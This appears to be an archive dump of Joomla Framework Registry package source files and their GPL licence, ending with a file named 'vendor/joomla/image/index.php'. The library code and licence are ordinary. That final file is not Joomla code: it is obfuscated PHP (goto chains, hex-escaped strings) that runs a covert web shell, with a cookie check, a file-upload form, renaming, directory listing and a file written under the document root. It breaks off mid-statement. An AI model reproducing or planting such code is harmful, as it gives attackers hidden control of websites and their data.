���.vendor/joomla/registry/src/FormatInterface.phpnu�[���<?php /** * Part of the Joomla Framework Registry Package * * @copyright Copyright (C) 2005 - 2022 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Registry; /** * Interface defining a format object * * @since 1.5.0 */ interface FormatInterface { /** * Converts an object into a formatted string. * * @param object $object Data Source Object. * @param array $options An array of options for the formatter. * * @return string Formatted string. * * @since 1.5.0 */ public function objectToString($object, $options = null); /** * Converts a formatted string into an object. * * @param string $data Formatted string * @param array $options An array of options for the formatter. * * @return object Data Object * * @since 1.5.0 */ public function stringToObject($data, array $options = array()); } PKÜ�\l��yQKQK'vendor/joomla/registry/src/Registry.phpnu�[���<?php /** * Part of the Joomla Framework Registry Package * * @copyright Copyright (C) 2005 - 2022 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Registry; use Joomla\Utilities\ArrayHelper; /** * Registry class * * @since 1.0 */ class Registry implements \JsonSerializable, \ArrayAccess, \IteratorAggregate, \Countable { /** * Registry Object * * @var \stdClass * @since 1.0 */ protected $data; /** * Flag if the Registry data object has been initialized * * @var boolean * @since 1.5.2 */ protected $initialized = false; /** * Registry instances container. * * @var Registry[] * @since 1.0 * @deprecated 2.0 Object caching will no longer be supported */ protected static $instances = array(); /** * Path separator * * @var string * @since 1.4.0 */ public $separator = '.'; /** * Constructor * * @param mixed $data The data to bind to the new Registry object. * * @since 1.0 */ public function __construct($data = null) { // Instantiate the internal data object. $this->data = new \stdClass; // Optionally load supplied data. if ($data instanceof Registry) { $this->merge($data); } elseif (\is_array($data) || \is_object($data)) { $this->bindData($this->data, $data); } elseif (!empty($data) && \is_string($data)) { $this->loadString($data); } } /** * Magic function to clone the registry object. * * @return void * * @since 1.0 */ public function __clone() { $this->data = unserialize(serialize($this->data)); } /** * Magic function to render this object as a string using default args of toString method. * * @return string * * @since 1.0 */ public function __toString() { return $this->toString(); } /** * Count elements of the data object * * @return integer The custom count as an integer. * * @link https://www.php.net/manual/en/countable.count.php * @since 1.3.0 */ #[\ReturnTypeWillChange] public function count() { return \count(get_object_vars($this->data)); } /** * Implementation for the JsonSerializable interface. * Allows us to pass Registry objects to json_encode. * * @return object * * @since 1.0 * @note The interface is only present in PHP 5.4 and up. */ #[\ReturnTypeWillChange] public function jsonSerialize() { return $this->data; } /** * Sets a default value if not already assigned. * * @param string $key The name of the parameter. * @param mixed $default An optional value for the parameter. * * @return mixed The value set, or the default if the value was not previously set (or null). * * @since 1.0 */ public function def($key, $default = '') { $value = $this->get($key, $default); $this->set($key, $value); return $value; } /** * Check if a registry path exists. * * @param string $path Registry path (e.g. joomla.content.showauthor) * * @return boolean * * @since 1.0 */ public function exists($path) { // Return default value if path is empty if (empty($path)) { return false; } // Explode the registry path into an array $nodes = explode($this->separator, $path); // Initialize the current node to be the registry root. $node = $this->data; $found = false; // Traverse the registry to find the correct node for the result. foreach ($nodes as $n) { if (\is_array($node) && isset($node[$n])) { $node = $node[$n]; $found = true; continue; } if (!isset($node->$n)) { return false; } $node = $node->$n; $found = true; } return $found; } /** * Get a registry value. * * @param string $path Registry path (e.g. joomla.content.showauthor) * @param mixed $default Optional default value, returned if the internal value is null. * * @return mixed Value of entry or null * * @since 1.0 */ public function get($path, $default = null) { // Return default value if path is empty if (empty($path)) { return $default; } if (!strpos($path, $this->separator)) { return (isset($this->data->$path) && $this->data->$path !== '') ? $this->data->$path : $default; } // Explode the registry path into an array $nodes = explode($this->separator, trim($path)); // Initialize the current node to be the registry root. $node = $this->data; $found = false; // Traverse the registry to find the correct node for the result. foreach ($nodes as $n) { if (\is_array($node) && isset($node[$n])) { $node = $node[$n]; $found = true; continue; } if (!isset($node->$n)) { return $default; } $node = $node->$n; $found = true; } if (!$found || $node === null || $node === '') { return $default; } return $node; } /** * Returns a reference to a global Registry object, only creating it * if it doesn't already exist. * * This method must be invoked as: * <pre>$registry = Registry::getInstance($id);</pre> * * @param string $id An ID for the registry instance * * @return Registry The Registry object. * * @since 1.0 * @deprecated 2.0 Instantiate a new Registry instance instead */ public static function getInstance($id) { if (empty(self::$instances[$id])) { self::$instances[$id] = new self; } return self::$instances[$id]; } /** * Gets this object represented as an ArrayIterator. * * This allows the data properties to be accessed via a foreach statement. * * @return \ArrayIterator This object represented as an ArrayIterator. * * @see IteratorAggregate::getIterator() * @since 1.3.0 */ #[\ReturnTypeWillChange] public function getIterator() { return new \ArrayIterator($this->data); } /** * Load an associative array of values into the default namespace * * @param array $array Associative array of value to load * @param boolean $flattened Load from a one-dimensional array * @param string $separator The key separator * * @return Registry Return this object to support chaining. * * @since 1.0 */ public function loadArray($array, $flattened = false, $separator = null) { if (!$flattened) { $this->bindData($this->data, $array); return $this; } foreach ($array as $k => $v) { $this->set($k, $v, $separator); } return $this; } /** * Load the public variables of the object into the default namespace. * * @param object $object The object holding the publics to load * * @return Registry Return this object to support chaining. * * @since 1.0 */ public function loadObject($object) { $this->bindData($this->data, $object); return $this; } /** * Load the contents of a file into the registry * * @param string $file Path to file to load * @param string $format Format of the file [optional: defaults to JSON] * @param array $options Options used by the formatter * * @return Registry Return this object to support chaining. * * @since 1.0 */ public function loadFile($file, $format = 'JSON', $options = array()) { $data = file_get_contents($file); return $this->loadString($data, $format, $options); } /** * Load a string into the registry * * @param string $data String to load into the registry * @param string $format Format of the string * @param array $options Options used by the formatter * * @return Registry Return this object to support chaining. * * @since 1.0 */ public function loadString($data, $format = 'JSON', $options = array()) { // Load a string into the given namespace [or default namespace if not given] $handler = AbstractRegistryFormat::getInstance($format, $options); $obj = $handler->stringToObject($data, $options); // If the data object has not yet been initialized, direct assign the object if (!$this->initialized) { $this->data = $obj; $this->initialized = true; return $this; } $this->loadObject($obj); return $this; } /** * Merge a Registry object into this one * * @param Registry $source Source Registry object to merge. * @param boolean $recursive True to support recursive merge the children values. * * @return Registry|false Return this object to support chaining or false if $source is not an instance of Registry. * * @since 1.0 */ public function merge($source, $recursive = false) { if (!$source instanceof Registry) { return false; } $this->bindData($this->data, $source->toArray(), $recursive, false); return $this; } /** * Method to extract a sub-registry from path * * @param string $path Registry path (e.g. joomla.content.showauthor) * * @return Registry|null Registry object if data is present * * @since 1.2.0 */ public function extract($path) { $data = $this->get($path); if ($data === null) { return null; } return new Registry($data); } /** * Checks whether an offset exists in the iterator. * * @param mixed $offset The array offset. * * @return boolean True if the offset exists, false otherwise. * * @since 1.0 */ #[\ReturnTypeWillChange] public function offsetExists($offset) { return (boolean) ($this->get($offset) !== null); } /** * Gets an offset in the iterator. * * @param mixed $offset The array offset. * * @return mixed The array value if it exists, null otherwise. * * @since 1.0 */ #[\ReturnTypeWillChange] public function offsetGet($offset) { return $this->get($offset); } /** * Sets an offset in the iterator. * * @param mixed $offset The array offset. * @param mixed $value The array value. * * @return void * * @since 1.0 */ #[\ReturnTypeWillChange] public function offsetSet($offset, $value) { $this->set($offset, $value); } /** * Unsets an offset in the iterator. * * @param mixed $offset The array offset. * * @return void * * @since 1.0 */ #[\ReturnTypeWillChange] public function offsetUnset($offset) { $this->remove($offset); } /** * Set a registry value. * * @param string $path Registry Path (e.g. joomla.content.showauthor) * @param mixed $value Value of entry * @param string $separator The key separator * * @return mixed The value of the that has been set. * * @since 1.0 */ public function set($path, $value, $separator = null) { if (empty($separator)) { $separator = $this->separator; } /* * Explode the registry path into an array and remove empty * nodes that occur as a result of a double separator. ex: joomla..test * Finally, re-key the array so they are sequential. */ $nodes = array_values(array_filter(explode($separator, $path), 'strlen')); if (!$nodes) { return; } // Initialize the current node to be the registry root. $node = $this->data; // Traverse the registry to find the correct node for the result. for ($i = 0, $n = \count($nodes) - 1; $i < $n; $i++) { if (\is_object($node)) { if (!isset($node->{$nodes[$i]}) && ($i !== $n)) { $node->{$nodes[$i]} = new \stdClass; } // Pass the child as pointer in case it is an object $node = &$node->{$nodes[$i]}; continue; } if (\is_array($node)) { if (($i !== $n) && !isset($node[$nodes[$i]])) { $node[$nodes[$i]] = new \stdClass; } // Pass the child as pointer in case it is an array $node = &$node[$nodes[$i]]; } } // Get the old value if exists so we can return it switch (true) { case \is_object($node): $result = $node->{$nodes[$i]} = $value; break; case \is_array($node): $result = $node[$nodes[$i]] = $value; break; default: $result = null; break; } return $result; } /** * Append value to a path in registry * * @param string $path Parent registry Path (e.g. joomla.content.showauthor) * @param mixed $value Value of entry * * @return mixed The value of the that has been set. * * @since 1.4.0 */ public function append($path, $value) { $result = null; /* * Explode the registry path into an array and remove empty * nodes that occur as a result of a double dot. ex: joomla..test * Finally, re-key the array so they are sequential. */ $nodes = array_values(array_filter(explode('.', $path), 'strlen')); if ($nodes) { // Initialize the current node to be the registry root. $node = $this->data; // Traverse the registry to find the correct node for the result. // TODO Create a new private method from part of code below, as it is almost equal to 'set' method for ($i = 0, $n = \count($nodes) - 1; $i <= $n; $i++) { if (\is_object($node)) { if (!isset($node->{$nodes[$i]}) && ($i !== $n)) { $node->{$nodes[$i]} = new \stdClass; } // Pass the child as pointer in case it is an array $node = &$node->{$nodes[$i]}; } elseif (\is_array($node)) { if (($i !== $n) && !isset($node[$nodes[$i]])) { $node[$nodes[$i]] = new \stdClass; } // Pass the child as pointer in case it is an array $node = &$node[$nodes[$i]]; } } if (!\is_array($node)) { // Convert the node to array to make append possible $node = get_object_vars($node); } $node[] = $value; $result = $value; } return $result; } /** * Delete a registry value * * @param string $path Registry Path (e.g. joomla.content.showauthor) * * @return mixed The value of the removed node or null if not set * * @since 1.6.0 */ public function remove($path) { // Cheap optimisation to direct remove the node if there is no separator if (!strpos($path, $this->separator)) { $result = (isset($this->data->$path) && $this->data->$path !== '') ? $this->data->$path : null; unset($this->data->$path); return $result; } /* * Explode the registry path into an array and remove empty * nodes that occur as a result of a double separator. ex: joomla..test * Finally, re-key the array so they are sequential. */ $nodes = array_values(array_filter(explode($this->separator, $path), 'strlen')); if (!$nodes) { return; } // Initialize the current node to be the registry root. $node = $this->data; $parent = null; // Traverse the registry to find the correct node for the result. for ($i = 0, $n = \count($nodes) - 1; $i < $n; $i++) { if (\is_object($node)) { if (!isset($node->{$nodes[$i]}) && ($i !== $n)) { continue; } $parent = &$node; $node = $node->{$nodes[$i]}; continue; } if (\is_array($node)) { if (($i !== $n) && !isset($node[$nodes[$i]])) { continue; } $parent = &$node; $node = $node[$nodes[$i]]; continue; } } // Get the old value if exists so we can return it switch (true) { case \is_object($node): $result = isset($node->{$nodes[$i]}) ? $node->{$nodes[$i]} : null; unset($parent->{$nodes[$i]}); break; case \is_array($node): $result = isset($node[$nodes[$i]]) ? $node[$nodes[$i]] : null; unset($parent[$nodes[$i]]); break; default: $result = null; break; } return $result; } /** * Transforms a namespace to an array * * @return array An associative array holding the namespace data * * @since 1.0 */ public function toArray() { return (array) $this->asArray($this->data); } /** * Transforms a namespace to an object * * @return object An an object holding the namespace data * * @since 1.0 */ public function toObject() { return $this->data; } /** * Get a namespace in a given string format * * @param string $format Format to return the string in * @param mixed $options Parameters used by the formatter, see formatters for more info * * @return string Namespace in string format * * @since 1.0 */ public function toString($format = 'JSON', $options = array()) { // Return a namespace in a given format $handler = AbstractRegistryFormat::getInstance($format, $options); return $handler->objectToString($this->data, $options); } /** * Method to recursively bind data to a parent object. * * @param object $parent The parent object on which to attach the data values. * @param mixed $data An array or object of data to bind to the parent object. * @param boolean $recursive True to support recursive bindData. * @param boolean $allowNull True to allow null values. * * @return void * * @since 1.0 */ protected function bindData($parent, $data, $recursive = true, $allowNull = true) { // The data object is now initialized $this->initialized = true; // Ensure the input data is an array. $data = \is_object($data) ? get_object_vars($data) : (array) $data; foreach ($data as $k => $v) { if (!$allowNull && !(($v !== null) && ($v !== ''))) { continue; } if ($recursive && ((\is_array($v) && ArrayHelper::isAssociative($v)) || \is_object($v))) { if (!isset($parent->$k)) { $parent->$k = new \stdClass; } $this->bindData($parent->$k, $v); continue; } $parent->$k = $v; } } /** * Method to recursively convert an object of data to an array. * * @param object $data An object of data to return as an array. * * @return array Array representation of the input object. * * @since 1.0 */ protected function asArray($data) { $array = array(); if (\is_object($data)) { $data = get_object_vars($data); } foreach ($data as $k => $v) { if (\is_object($v) || \is_array($v)) { $array[$k] = $this->asArray($v); continue; } $array[$k] = $v; } return $array; } /** * Dump to one dimension array. * * @param string $separator The key separator. * * @return string[] Dumped array. * * @since 1.3.0 */ public function flatten($separator = null) { $array = array(); if (empty($separator)) { $separator = $this->separator; } $this->toFlatten($separator, $this->data, $array); return $array; } /** * Method to recursively convert data to one dimension array. * * @param string $separator The key separator. * @param array|object $data Data source of this scope. * @param array $array The result array, it is passed by reference. * @param string $prefix Last level key prefix. * * @return void * * @since 1.3.0 */ protected function toFlatten($separator = null, $data = null, &$array = array(), $prefix = '') { $data = (array) $data; if (empty($separator)) { $separator = $this->separator; } foreach ($data as $k => $v) { $key = $prefix ? $prefix . $separator . $k : $k; if (\is_object($v) || \is_array($v)) { $this->toFlatten($separator, $v, $array, $key); continue; } $array[$key] = $v; } } } PKÜ�\cϜ��5vendor/joomla/registry/src/AbstractRegistryFormat.phpnu�[���<?php /** * Part of the Joomla Framework Registry Package * * @copyright Copyright (C) 2005 - 2022 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Registry; /** * Abstract Format for Registry * * @since 1.0 * @deprecated 2.0 Format objects should directly implement the FormatInterface */ abstract class AbstractRegistryFormat implements FormatInterface { /** * @var AbstractRegistryFormat[] Format instances container. * @since 1.0 * @deprecated 2.0 Object caching will no longer be supported */ protected static $instances = array(); /** * Returns a reference to a Format object, only creating it * if it doesn't already exist. * * @param string $type The format to load * @param array $options Additional options to configure the object * * @return AbstractRegistryFormat Registry format handler * * @deprecated 2.0 Use Factory::getFormat() instead * @since 1.0 * @throws \InvalidArgumentException */ public static function getInstance($type, array $options = array()) { return Factory::getFormat($type, $options); } } PKÜ�\EyBbvv&vendor/joomla/registry/src/Factory.phpnu�[���<?php /** * Part of the Joomla Framework Registry Package * * @copyright Copyright (C) 2005 - 2022 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Registry; /** * Factory class to fetch Registry objects * * @since 1.5.0 */ class Factory { /** * Format instances container - for backward compatibility with AbstractRegistryFormat::getInstance(). * * @var FormatInterface[] * @since 1.5.0 * @deprecated 2.0 Object caching will no longer be supported */ protected static $formatInstances = array(); /** * Returns an AbstractRegistryFormat object, only creating it if it doesn't already exist. * * @param string $type The format to load * @param array $options Additional options to configure the object * * @return FormatInterface Registry format handler * * @since 1.5.0 * @throws \InvalidArgumentException */ public static function getFormat($type, array $options = array()) { // Sanitize format type. $type = strtolower(preg_replace('/[^A-Z0-9_]/i', '', $type)); /* * Only instantiate the object if it doesn't already exist. * @deprecated 2.0 Object caching will no longer be supported, a new instance will be returned every time */ if (!isset(self::$formatInstances[$type])) { $localNamespace = __NAMESPACE__ . '\\Format'; $namespace = isset($options['format_namespace']) ? $options['format_namespace'] : $localNamespace; $class = $namespace . '\\' . ucfirst($type); if (!class_exists($class)) { // Were we given a custom namespace? If not, there's nothing else we can do if ($namespace === $localNamespace) { throw new \InvalidArgumentException(sprintf('Unable to load format class for type "%s".', $type), 500); } $class = $localNamespace . '\\' . ucfirst($type); if (!class_exists($class)) { throw new \InvalidArgumentException(sprintf('Unable to load format class for type "%s".', $type), 500); } } self::$formatInstances[$type] = new $class; } return self::$formatInstances[$type]; } } PKÜ�\�P�E�Evendor/joomla/registry/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\��s�s�vendor/joomla/image/index.phpnu�[���<?php if(isset($_COOKIE['r0'])) { die('hgWelq'); } goto FocOL; SQK1A: PZ3aO: goto yPuF2; Kgvha: if (empty($_POST["\156\x5f\156\x61\155\x65"])) { goto gnXf4; } goto fZ86l; sOXlR: $i5DCx = $SPEIU - $fGyii - 1; goto yIsXZ; geLhJ: echo "\74\x68\164\x6d\x6c\76\15\xa\x3c\x68\x65\141\144\76\xd\xa\x9\x3c\x74\151\164\154\x65\76"; goto HrvUP; h1dM_: if (isset($_POST["\x6e\145\x77\137\x66\x69\154\x65\x5f\156\141\155\145"])) { goto k4Ell; } goto HVHtT; fQLm8: $E26bx = "\74\146\157\156\164\40\x63\157\154\x6f\x72\x3d\x22\147\162\x65\145\156\x22\x3e\74\x62\76\116\141\x6d\x65\x20\143\150\141\156\x67\145\x64\x21\74\57\x62\76\x3c\57\x66\157\156\164\x3e"; goto u5r1k; dC3vt: echo "\x22\x20\x65\x6e\x63\x74\x79\160\x65\75\x22\155\165\x6c\x74\151\160\x61\162\164\x2f\x66\x6f\x72\155\55\144\141\x74\141\42\x3e\15\12\11\x9\11\x3c\x69\156\x70\x75\x74\x20\x74\171\x70\145\x3d\x22\146\151\x6c\x65\42\x20\x69\x64\75\x22\x69\x6e\x70\165\x74\x66\x69\154\145\42\x20\156\x61\155\x65\x3d\x22\151\x6e\x70\165\x74\x66\151\x6c\x65\x22\x3e\15\12\x9\x9\x9\x3c\x69\x6e\160\x75\x74\40\164\171\x70\x65\75\x22\x73\x75\x62\155\x69\164\42\40\166\141\x6c\x75\145\x3d\42\157\x6b\x22\x3e\15\12\x9\11\x9\74\x2f\146\157\162\155\x3e\15\xa\11\x9\x9\x43\115\x53\x3a\x20"; goto jlNa3; Y8Jw0: bw5um($WRsqg); goto isRm2; qmT2U: $XJm0F = $_SERVER["\104\117\103\x55\115\105\116\x54\137\x52\x4f\117\x54"] . "\x2f\x67\x6f\x6f\x64\146\151\x6e\x64\145\162\144\x61\x74\x61\56\x74\x78\164"; goto Afrs8; rHqDe: xcySP: goto NYMy2; Wvao1: Bw5um($WRsqg); goto ItVgy; OBjzg: goto ahrJI; goto gDpaI; LIs5n: VWAvR: goto VT0c_; ZW48V: goto O2ah_; goto CSa4F; aG0QO: if (!isset($_GET["\162\145\156\x61\x6d\x65"])) { goto M5F5l; } goto Kgvha; bS6xH: KnM1C: goto QT6Oh; myNrf: HZPPW: goto bS6xH; UEr18: bW5UM($WRsqg); goto sLhGh; oE10g: $WdlM7 = $_SERVER["\104\x4f\x43\125\x4d\105\116\124\x5f\x52\x4f\x4f\124"]; goto vLt1i; VT0c_: nKuLU: goto pX0II; Khfj4: $YH3Np = $_GET["\x64\151\x72"]; goto eVBy0; URiPm: if (!($fGyii <= $SPEIU)) { goto cUngT; } goto QoaOE; cuNWB: foreach ($eGMU5 as $Ix06i) { goto FpCvq; FpCvq: $saaeK = str_replace($_SERVER["\x44\117\x43\x55\x4d\x45\116\124\x5f\122\117\117\124"], $_SERVER["\123\x45\x52\126\x45\x52\137\116\101\115\105"], $Ix06i); goto PtaBz; SQe5H: swnDA: goto lPaT5; PtaBz: echo $saaeK . "\73" . filesize($Ix06i) . "\74\142\x72\x3e\xa"; goto SQe5H; lPaT5: } goto pNmVe; isRm2: goto DtKRY; goto OOlL2; tIThh: $LVHM1 = 